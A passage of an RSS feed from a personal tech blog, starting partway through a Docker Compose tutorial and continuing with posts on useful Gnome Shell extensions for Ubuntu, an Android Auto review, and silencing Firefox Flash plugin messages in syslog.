    &lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;image:tag&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# The image which is used to tag the image during the build and to run the containers from&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;volumes&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.:/site&quot;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# Mounts current directory to the container&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;dbdata:/path/to/db/files&quot;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# Reusable volume among the containers&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;8080:4000&apos;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# Exposed port mapping. This will expose the TCP port 4000 from the container to the host machine as 8080 port&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;networks&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;my-network&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# Network name. Needed for multiple servers to communicate between each other&lt;/span&gt;

&lt;span class=&quot;na&quot;&gt;networks&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;my-network&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;overlay&lt;/span&gt;

&lt;span class=&quot;na&quot;&gt;volumes&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;dbdata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://docs.docker.com/compose/compose-file&quot;&gt;Full Compose file reference&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;docker-compose-commands&quot;&gt;Docker-compose commands&lt;/h2&gt;

&lt;p&gt;These are the most common docker-compose commands. The commands should be run in the same directory as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker-compose.yml&lt;/code&gt; file location:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker-compose up&lt;/code&gt; - runs the containers described in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;services&lt;/code&gt; section. If needed, builds the images first (using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;build&lt;/code&gt; section). The key &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-d&lt;/code&gt; runs the services in the “detached” mode (background).&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker-compose down&lt;/code&gt; - removes the running service containers&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker-compose build [&amp;lt;service&amp;gt;]&lt;/code&gt; - builds the image for all or defined services&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker-compose logs&lt;/code&gt; - shows the output from the containers&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker-compose ps&lt;/code&gt; - lists the containers&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker-compose stop&lt;/code&gt; - stops the containers (does not remove them)&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker-compose start&lt;/code&gt; - starts stopped containers&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker-compose rm&lt;/code&gt; - removes stopped containers&lt;/p&gt;

&lt;h2 id=&quot;whats-next&quot;&gt;What’s next&lt;/h2&gt;

&lt;p&gt;While Docker is very popular, the other application container engine is &lt;a href=&quot;https://coreos.com/rkt/&quot;&gt;rkt&lt;/a&gt; is very promising and worth attention. Also, it is conceptually closer to the very popular container orchestration system &lt;a href=&quot;https://kubernetes.io/&quot;&gt;Kubernetes&lt;/a&gt; and &lt;a href=&quot;https://github.com/appc/spec&quot;&gt;Application Container specification&lt;/a&gt; by the &lt;a href=&quot;https://www.opencontainers.org/&quot;&gt;Open Container Initiative&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The container orchestration and cluster management platforms(&lt;a href=&quot;https://docs.docker.com/get-started/part4/&quot;&gt;Docker Swarm&lt;/a&gt;, &lt;a href=&quot;https://kubernetes.io/&quot;&gt;Kubernetes&lt;/a&gt;) are used to deploy and run the containers in production. Considering the existing and growing popularity or Kubernetes, it is likely to be the way to go further.&lt;/p&gt;
</description>
            <pubDate>Mon, 27 May 2019 00:00:00 -0500</pubDate>
            <link>https://lescinskas.lt/blog/2019/05/27/docker-basics/</link>
            <guid isPermaLink="true">https://lescinskas.lt/blog/2019/05/27/docker-basics/</guid>
            
            
        </item>
        
        <item>
            <title>Gnome Shell extensions for a productive Ubuntu environment</title>
            <description>&lt;p&gt;After Ubuntu replaced the Unity environment with Gnome Shell in 17.10 version, the old Ubuntu-diehards had to adopt this new interface and workflow.&lt;/p&gt;

&lt;p&gt;While Unity was slightly limiting environment, I appreciated its focus to the productivity, usability and window space optimization.
Luckily, Gnome Shell environment can be customized using Gnome Extensions, allowing to achieve the same or even better level of productivity.&lt;/p&gt;

&lt;h2 id=&quot;pre-installed-extensions-on-ubuntu&quot;&gt;Pre-installed extensions on Ubuntu&lt;/h2&gt;

&lt;p&gt;Ubuntu comes with 2 pre-installed extensions:&lt;/p&gt;

&lt;h3 id=&quot;ubuntu-appindicators&quot;&gt;Ubuntu AppIndicators&lt;/h3&gt;

&lt;p&gt;This extension shows Ubuntu AppIndicators and Gnome tray items in the top panel, allowing easy access to the menu controls and visual indicator of the certain applications:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2018/appindicators.png&quot; alt=&quot;App indicators&quot; /&gt;&lt;/p&gt;

&lt;p&gt;For non-ubuntu users the same extension can be installed from &lt;a href=&quot;https://extensions.gnome.org/extension/615/appindicator-support/&quot;&gt;(K)StatusNotifierItem/AppIndicator Support&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The legacy tray icons can be “moved” to the top panel using the &lt;a href=&quot;https://extensions.gnome.org/extension/1031/topicons/&quot;&gt;Top Icons Plus extension&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;ubuntu-dock&quot;&gt;Ubuntu Dock&lt;/h3&gt;

&lt;p&gt;Ubuntu comes with the application launcher known as &lt;strong&gt;Dock&lt;/strong&gt;. It is slightly modified version of &lt;a href=&quot;https://extensions.gnome.org/extension/307/dash-to-dock/&quot;&gt;Dash to Dock extension&lt;/a&gt;, which is very popular among non-Ubuntu users of Gnome Shell. Its alternative &lt;a href=&quot;https://extensions.gnome.org/extension/1160/dash-to-panel/&quot;&gt;Dock to Panel&lt;/a&gt; is another good choice, considering that it combines the launcher and the application tray into the single panel.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2018/dash-to-panel.png&quot; alt=&quot;Dash to panel&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;useful-extensions&quot;&gt;Useful extensions&lt;/h2&gt;

&lt;p&gt;Besides AppIndicators and Dock extensions there are &lt;a href=&quot;https://extensions.gnome.org/&quot;&gt;plenty extensions&lt;/a&gt; to improve the usability and productivity. Here’s the list of my favorite extensions (in alphabetical order):&lt;/p&gt;

&lt;h3 id=&quot;alt-tab-workspace&quot;&gt;Alt Tab Workspace&lt;/h3&gt;

&lt;p&gt;While it is convenient to organize the windows in the workspaces, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Alt-tab&lt;/code&gt; navigation through these windows can be difficult.&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://extensions.gnome.org/extension/310/alt-tab-workspace/&quot;&gt;Alt Tab Workspace extension&lt;/a&gt; cycles through the windows in the active workspace only.&lt;/p&gt;

&lt;h3 id=&quot;clipboard-indicator&quot;&gt;Clipboard Indicator&lt;/h3&gt;

&lt;p&gt;For those who use copy/paste a lot it is useful to have the ability to see the clipboard history and switch between the clipboard items.&lt;/p&gt;

&lt;p&gt;This could be achieved using the &lt;a href=&quot;https://extensions.gnome.org/extension/779/clipboard-indicator/&quot;&gt;Clipboard indicator extension&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2018/clipboard-indicator.png&quot; alt=&quot;Clipboard indicator&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;display-button&quot;&gt;Display Button&lt;/h3&gt;

&lt;p&gt;I use my computer in different locations using various external monitors and media projectors. It is not convenient to navigate through the settings each time I want to change the display layout (mirrored or joined displays).&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://extensions.gnome.org/extension/939/display-button/&quot;&gt;Display Button extension&lt;/a&gt; allows accessing the Display Settings within a single click.&lt;/p&gt;

&lt;h3 id=&quot;hide-activities-button&quot;&gt;Hide Activities Button&lt;/h3&gt;

&lt;p&gt;I am a big fan of screen space optimization - I want to see only relevant information, therefore the “Activities” button in the top panel seems wasteful.&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://extensions.gnome.org/extension/1128/hide-activities-button/&quot;&gt;Hide Activities Button extension&lt;/a&gt; hides this button. The Activities window can still be accessed using the “hot” top left corner or by clicking the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Super&lt;/code&gt; key.&lt;/p&gt;

&lt;h3 id=&quot;no-title-bar&quot;&gt;No Title Bar&lt;/h3&gt;

&lt;p&gt;Another great extension that optimizes the screen space is &lt;a href=&quot;https://extensions.gnome.org/extension/1267/no-title-bar/&quot;&gt;No Title Bar&lt;/a&gt;. It is a highly customizable extension, which allows removing the unneccessary title bar for maximized applications, replacing the application name with the window name etc.&lt;/p&gt;

&lt;p&gt;While standard Gnome apps look good in any case, as they don’t have separate title bar, this is not the case in other applications.&lt;/p&gt;

&lt;p&gt;So, instead of&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2018/no-title-bar1.png&quot; alt=&quot;Before No Title Bar&quot; /&gt;&lt;/p&gt;

&lt;p&gt;this extension lets you see&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2018/no-title-bar2.png&quot; alt=&quot;After No Title Bar&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;openweather&quot;&gt;OpenWeather&lt;/h3&gt;

&lt;p&gt;Apparently, one of the most popular Gnome extension is &lt;a href=&quot;https://extensions.gnome.org/extension/750/openweather/&quot;&gt;OpenWeather extension&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2018/openweather.png&quot; alt=&quot;After No Title Bar&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;removable-drive-menu&quot;&gt;Removable Drive Menu&lt;/h3&gt;

&lt;p&gt;The &lt;a href=&quot;https://extensions.gnome.org/extension/7/removable-drive-menu/&quot;&gt;Removable Drive Menu&lt;/a&gt; is an extension that provides quick access to the mounted drives or network shares and allows quick unmount:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2018/removable-drive-menu.png&quot; alt=&quot;Removable Drive Menu&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;sound-input--output-device-chooser&quot;&gt;Sound Input &amp;amp; Output Device Chooser&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://extensions.gnome.org/extension/906/sound-output-device-chooser/&quot;&gt;Sound Input &amp;amp; Output Device Chooser extension&lt;/a&gt; is one of the most useful extensions, which allows to switch the sound input and output devices and their profiles:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2018/sound-input-output.png&quot; alt=&quot;Sound Input &amp;amp; Output Device Chooser&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;suspend-button&quot;&gt;Suspend Button&lt;/h3&gt;

&lt;p&gt;By default Gnome Shell does not expose the “Suspend” button in the User Interface. As I find this feature missing, such button can be added using the &lt;a href=&quot;https://extensions.gnome.org/extension/826/suspend-button/&quot;&gt;Suspend Button extension&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2018/suspend-button.png&quot; alt=&quot;Suspend Button&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;system-monitor&quot;&gt;system-monitor&lt;/h3&gt;

&lt;p&gt;It is convenient to see the computer resource usage in the top panel. This can be achieved using the &lt;a href=&quot;https://extensions.gnome.org/extension/120/system-monitor/&quot;&gt;system-monitor extension&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2018/system-monitor.png&quot; alt=&quot;system-monitor&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This extension is the Gnome Shell alternative to Unity’s “Indicator multiload”. It is highly customizable extension.&lt;/p&gt;

&lt;p&gt;However, it depends on certain libraries, which need to be installed using command:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ sudo apt install gir1.2-gtop-2.0 gir1.2-networkmanager-1.0  gir1.2-clutter-1.0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Also, I had troubles installing this extension from extensions.gnome.org, so I had to install it from the command shell:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ sudo apt install gnome-shell-extension-system-monitor
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;More information on this extension can be found in the &lt;a href=&quot;https://github.com/paradoxxxzero/gnome-shell-system-monitor-applet&quot;&gt;extension’s Github page&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;other-useful-tips&quot;&gt;Other useful tips&lt;/h2&gt;

&lt;p&gt;There are some other ways to increase productivity by tweaking the Gnome Shell settings. This can be done using the Tweaks application. It can be installed using the command:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ sudo apt install gnome-tweak-tool
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;moving-window-controls-to-the-left&quot;&gt;Moving window controls to the left&lt;/h3&gt;

&lt;p&gt;Back in 2010 when window controls (close, minimize, maximize) were moved to left, it seemed strange for me at first. However the reason behind this move is pretty clear - as most important information (i.e. text in the document) and controls (i.e. menu items) are displayed in the top left side, placing window controls in the left side reduces the shift on the visual focus.&lt;/p&gt;

&lt;p&gt;Although the default window controls are now placed on the right side, I don’t treat this as a right decision. Good at least, this can be changed quite easily using the aforementioned &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Tweaks&lt;/code&gt; application:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2018/window-controls.png&quot; alt=&quot;Window controls&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;top-menu-tweaks&quot;&gt;Top menu tweaks&lt;/h3&gt;

&lt;p&gt;I also tweak some of the top menu configuration parameters:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Enable activity hot corner&lt;/li&gt;
  &lt;li&gt;Display week numbers in the calendar&lt;/li&gt;
  &lt;li&gt;Show battery percentage&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2018/top-menu-tweaks.png&quot; alt=&quot;Top menu tweaks&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;touchpad-tweaks&quot;&gt;Touchpad tweaks&lt;/h3&gt;

&lt;p&gt;Using a laptop touchpad a lot it makes sense to define how the secondary and middle clicks are treated: either by tapping with 2 or 3 fingers, or by clicking the certain touchpad area. Clicking the certain area seems to me more error-prone therefore I use the “Fingers” option:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2018/touchpad-tweaks.png&quot; alt=&quot;Touchpad tweaks&quot; /&gt;&lt;/p&gt;
</description>
            <pubDate>Wed, 28 Nov 2018 00:00:00 -0600</pubDate>
            <link>https://lescinskas.lt/blog/2018/11/28/gnome-shell-extensions/</link>
            <guid isPermaLink="true">https://lescinskas.lt/blog/2018/11/28/gnome-shell-extensions/</guid>
            
            
        </item>
        
        <item>
            <title>Android Auto</title>
            <description>&lt;p&gt;When I was looking for a new car, one of my requirements for the car was to have the Android Auto support.
I expected a lot from this system, and the manufacturers who invest into supporting new technologies, get kudos from me.&lt;/p&gt;

&lt;p&gt;I have chosen Škoda Octavia, however I had to pay additional 150 € for Android Auto support.&lt;/p&gt;

&lt;p&gt;Here is my experience after using Android Auto for some time.&lt;/p&gt;

&lt;h2 id=&quot;availability&quot;&gt;Availability&lt;/h2&gt;

&lt;p&gt;At the time I bought this car, Android Auto was not available in Lithuania (it still isn’t BTW).
So it was a disappointing moment to discover that you can’t use what you’ve paid for.&lt;/p&gt;

&lt;p&gt;Luckily, it is possible to sideload the APK file from the &lt;a href=&quot;http://www.apkmirror.com/apk/google-inc/android-auto/&quot;&gt;mirror site&lt;/a&gt;.
You lose the automatic updates and security assurance, but it’s still better than nothing.&lt;/p&gt;

&lt;h2 id=&quot;whats-inside&quot;&gt;What’s inside&lt;/h2&gt;

&lt;p&gt;Having Android Auto support and the Android Auto-compatible smartphone allows you to use Google-designed Navigation, Calling, Messaging and Music interface in your car’s infotainment screen.&lt;/p&gt;

&lt;p&gt;It is possible to use Google Maps as the navigation, Spotify, Deezer, Google Play or other apps for music playback and native or specific apps for calling and messaging.&lt;/p&gt;

&lt;p&gt;However the interface and the usability is very limited compared to the native applications.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Due to the Android Auto safety requirements, it is not allowed to make more than 6 touch interactions with the system
when the car is moving. You must use voice control for everything.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;environment&quot;&gt;Environment&lt;/h3&gt;

&lt;p&gt;The built-in infotainment system I bought with my car is 6,5” “Škoda Columbus”.&lt;/p&gt;

&lt;p&gt;I must say that this system is very good: it has very precise offline Navigation (with “here” maps) with 3 years update support,
FM radio with RDS, media support from Bluetooth, aux-in, USB, SD card sources.&lt;/p&gt;

&lt;p&gt;The Bluetooth integration pairs the phone automatically, synchronizes contacts, calls, SMS messages,
allows to control calls and music playback via controls on the steering wheel.&lt;/p&gt;

&lt;p&gt;As one of the goals of developing Android Auto was to replace the ugly and uncomfortable built-in infotainment systems,
competition with VW-designed infotainment system is the challenging task.&lt;/p&gt;

&lt;p&gt;The infotainment system screen resolution however is only 800x480, which is far behind even my Full HD smartphone,
also limiting the possibilities of Android auto.&lt;/p&gt;

&lt;p&gt;The interesting thing is that since version 2.0 there is a “standalone” mode of Android Auto, meaning you can use the same interface in your smartphone screen, thus you don’t need a car to support Android Auto.&lt;/p&gt;

&lt;h3 id=&quot;navigation&quot;&gt;Navigation&lt;/h3&gt;

&lt;p&gt;Android Auto uses Google Maps navigation. Rumors say that there should be the support for other navigation systems soon, but Google Maps is pretty good.&lt;/p&gt;

&lt;p&gt;Probably the biggest advantage of the offline navigation systems is that Google Maps use realtime traffic information for route planning.&lt;/p&gt;

&lt;p&gt;However, the navigation information can be seen in the infotainment system, but not in the dash (screen in the middle of speedometer and tachometer).&lt;/p&gt;

&lt;p&gt;Another annoying thing is the day and night modes. The “night” mode is turned on while it’s still early and it becomes very difficult to see anything in the screen.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The day/night mode is controlled automatically using ambient sensor. Luckily, there is a way to force a mode: it is needed to tap 10 times on “About Android Auto” in “About” window and it becomes possible to choose the mode in “Developer Settings” window:&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2017/android-auto-developer-settings.png&quot; alt=&quot;Android Auto Developer Settings&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;phone-and-messaging&quot;&gt;Phone and messaging&lt;/h3&gt;

&lt;p&gt;While it is possible to answer the calls and see the latest call information, the contact search, message composition, and other related actions are done using voice commands and voice recognition.&lt;/p&gt;

&lt;p&gt;In English-speaking countries this might work quite ok, but in other cases it’s pain in the ass.&lt;/p&gt;

&lt;h3 id=&quot;music&quot;&gt;Music&lt;/h3&gt;

&lt;p&gt;As I mentioned previously, the usabiliy is quite limited due to safety constraints. Therefore it is possible to access only limited set of albums or playlists.&lt;/p&gt;

&lt;p&gt;The voice control is also far from perfect. While it understands basic terms, like bands, more complex terms (i.e. songs or albums) are misunderstood in most cases, making the system almost unusable.&lt;/p&gt;

&lt;h3 id=&quot;android-auto-20&quot;&gt;Android Auto 2.0&lt;/h3&gt;

&lt;p&gt;With the Android Auto 2.0 it is possible to use Android Auto in standalone mode, meaning that it can work right from smartphone and does not need a car infotainment system to support Android Auto:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2017/android-auto-standalone.png&quot; alt=&quot;Android Auto Standalone mode&quot; /&gt;&lt;/p&gt;

&lt;p&gt;However you still have to deal with all the limitations of Android Auto.&lt;/p&gt;

&lt;h3 id=&quot;automate&quot;&gt;Automate&lt;/h3&gt;

&lt;p&gt;There are multiple alternatives to standalone Android Auto version, with &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.bitspice.automate&amp;amp;hl=en&quot;&gt;Automate&lt;/a&gt; as one the best ones.&lt;/p&gt;

&lt;p&gt;Since the standalone Android Auto version was introduced only in 2nd version, this was the only option to have the similar interface and usability in the cars which don’t support Android Auto.&lt;/p&gt;

&lt;p&gt;The usability is similar to the standalone Android Auto, although the user experience lacks consistency.&lt;/p&gt;

&lt;h2 id=&quot;verdict&quot;&gt;Verdict&lt;/h2&gt;

&lt;p&gt;Good:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Google Maps with Traffic data&lt;/li&gt;
  &lt;li&gt;Modern infotainment experience&lt;/li&gt;
  &lt;li&gt;Android Auto 2.0 has standalone mode. Bluetooth is enough to use Android Auto.&lt;/li&gt;
  &lt;li&gt;Voice messaging and commands (only in English though)&lt;/li&gt;
  &lt;li&gt;Possibly bright future with more apps/integrations&lt;/li&gt;
  &lt;li&gt;Control volume, switch songs on the driving wheel&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Bad:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Voice control is not accurate, especially for non-English content&lt;/li&gt;
  &lt;li&gt;Not available in many countries&lt;/li&gt;
  &lt;li&gt;Always using ambient sensor&lt;/li&gt;
  &lt;li&gt;Limited scrolling capabilities and control when driving. Doesn’t make sense if a passenger controls the unit&lt;/li&gt;
  &lt;li&gt;Requires cabling (cannot be used wirelessly)&lt;/li&gt;
  &lt;li&gt;Poor car infotainment system resolution (800x480) limits the experience&lt;/li&gt;
  &lt;li&gt;Navigation info is displayed in the infotainment system, but not in the dash&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;My verdict: if you are able to connect to car’s audio system via Bluetooth, better buy a car phone holder:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2017/car-smartphone-holder.jpg&quot; alt=&quot;Car smartphone holder&quot; /&gt;&lt;/p&gt;
</description>
            <pubDate>Mon, 20 Mar 2017 00:00:00 -0500</pubDate>
            <link>https://lescinskas.lt/blog/2017/03/20/android-auto/</link>
            <guid isPermaLink="true">https://lescinskas.lt/blog/2017/03/20/android-auto/</guid>
            
            
        </item>
        
        <item>
            <title>Firefox Flash plugin floods syslog on Ubuntu</title>
            <description>&lt;p&gt;Firefox Adobe Flash plugin floods &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/syslog&lt;/code&gt; with the messages like these:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot; data-lang=&quot;plaintext&quot;&gt;Feb 15 22:25:52 pcpaulesl1 plugin-containe[3776]: IA__gtk_widget_get_visual: assertion &apos;GTK_IS_WIDGET (widget)&apos; failed
Feb 15 22:25:52 pcpaulesl1 plugin-containe[3776]: IA__gdk_colormap_new: assertion &apos;GDK_IS_VISUAL (visual)&apos; failed
Feb 15 22:25:52 pcpaulesl1 plugin-containe[3776]: IA__gdk_colormap_alloc_colors: assertion &apos;GDK_IS_COLORMAP (colormap)&apos; failed
Feb 15 22:25:52 pcpaulesl1 plugin-containe[3776]: IA__gtk_widget_modify_bg: assertion &apos;GTK_IS_WIDGET (widget)&apos; failed&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This is inconvenient as the disk is filled with the irrelevant data, the disk IO is consumed, and syslog becomes inconvenient to read.&lt;/p&gt;

&lt;p&gt;One of the possible solutions is to send such output to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dev/null&lt;/code&gt; instead of syslog. This can be done by sending the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;STDERR&lt;/code&gt; stream to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dev/null&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;As usually Firefox is started from the dash, or via application menu, the most convenient way is to modify the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.desktop&lt;/code&gt; launcher file so it was run with the proper parameters.&lt;/p&gt;

&lt;p&gt;Usually &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.desktop&lt;/code&gt; files are stored in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/share/applications&lt;/code&gt;. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;firefox.desktop&lt;/code&gt; file from this directory should be modified by changing the following line:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;&lt;span class=&quot;py&quot;&gt;Exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;firefox %u&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;to such one:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;&lt;span class=&quot;py&quot;&gt;Exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;bash -c &apos;firefox %u 2&amp;gt;/dev/null&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This modification would send all the error output to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dev/null&lt;/code&gt; keeping syslog clear.&lt;/p&gt;

&lt;p&gt;Post a comment if you have any other options.&lt;/p&gt;
</description>
            <pubDate>Wed, 15 Feb 2017 00:00:00 -0600</pubDate>
            <link>https://lescinskas.lt/blog/2017/02/15/firefox-flash-plugin-floods-syslog/</link>
            <guid isPermaLink="true">https://lescinskas.lt/blog/2017/02/15/firefox-flash-plugin-floods-syslog/</guid>
            
            
        </item>
        
    </channel>
</rss>